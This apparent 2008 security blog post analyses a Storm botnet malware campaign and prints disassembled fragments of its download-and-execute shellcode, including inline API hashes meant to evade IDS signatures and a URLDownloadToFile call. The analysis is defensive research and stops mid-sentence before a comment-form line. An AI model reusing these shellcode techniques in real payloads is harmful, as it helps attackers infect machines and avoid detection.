blog
July 11, 2008
The Storm group has launched a new campaign theme, based on the bogus story that World War III would be started. Incidentally, they are starting to be repetitive: they were using a very similar theme back in April 2007.
Besides the usual fake youtube video — you click on it and the
download of the malicious binary starts — they are also using
drive-by download techniques to infect their victims. An iframe points
to the file ind.php, which attempts to perform a number of browser
exploits. Nothing special here: everything is very similar to other
javascript
attacks.
The shellcode used by Storm is also very similar to what we have seen in the
past, both
functionally (download and execute a binary) and in the use of simple polymorphic
techniques. However, there are some differences: one is that it
doesn't store the hash values of the library functions to invoke at the end of
the code. Sequences of hash values probably make for a good signature for IDS
systems. Thus, this shellcode uses hash values inline (in what follows,
find_function returns the address of a function, given the function's hash
and the containing DLL's base address):
00000033: push esi ; kernel32.dll base
00000034: push dword 0xec0e4e8e ; LoadLibrary (hash)
00000039: call 0x13c<find_function>
0000003E: mov [ebp+0x4],eax
00000041: push esi
00000042: push dword 0xe8afe98 ; WinExec (hash)
00000047: call 0x13c<find_function>
0000004C: mov [ebp+0x8],eax
0000004F: push esi
00000050: push dword 0xc2ffb025 ; DeleteFileA (hash)
00000055: call 0x13c<find_function>
0000005A: mov [ebp+0xc],eax
0000005D: push esi
0000005E: push dword 0x60e0ceef ; ExitThread (hash)
00000063: call 0x13c<find_function>
00000068: mov [ebp+0x10],eax
0000006B: push esi
0000006C: push dword 0xb8e579c1 ; GetSystemDirectoryA (hash)
00000071: call 0x13c<find_function>
Here is an example of how one these library functions is invoked. This is the function URLDownloadToFile from the urlmon DLL.
000000EB: xor ebx,ebx
000000ED: push ebx ; NULL
000000EE: push ebx ; NULL
000000EF: push dword [ebp+0x20] ; ptr to "SYSDIR/~.exe"
000000F2: push eax ; eax := addr of the URL
000000F3: push ebx ; NULL
000000F4: mov eax,[ebp+0x1c] ; eax := addr of URLDownloadToFile
000000F7: push byte +0x5
000000F9: pop ecx ; ecx := 5
000000FA: mov edx,[ebp+0x18] ; edx := ptr to ret instruction
000000FD: call 0x125<call_lib_func>
The function that I named call_lib_func invokes the requested DLL function.
It receives the number of parameters (in ecx), the function address (in
eax), and the address of a ret instruction (in edx). It first sets
up the stack (return address into the caller first, followed by the
parameters, and the address of the ret instruction last), and then jumps to
the library function's address. The weird stack manipulation is required
since Win32 API functions use the
__stdcall calling convention.
00000125: inc ecx ; ecx := # params + 1
00000126: pop ebx
00000127: push edx
00000128: add esp,ecx
0000012A: add esp,ecx
0000012C: add esp,ecx
0000012E: add esp,ecx ; esp points past the last parameter
fixup_stack_for_stdcall:
00000130: sub esp,byte +0x4
00000133: pop edx
00000134: push ebx
00000135: mov ebx,edx
00000137: loop 0x130<fixup_stack_for_stdcall>
00000139: push edx ; edx points to ret instruction
0000013A: jmp eax ; eax holds address of lib function
The final effect of the shellcode is:
To leave a comment, complete the form below. Mandatory fields are marked *.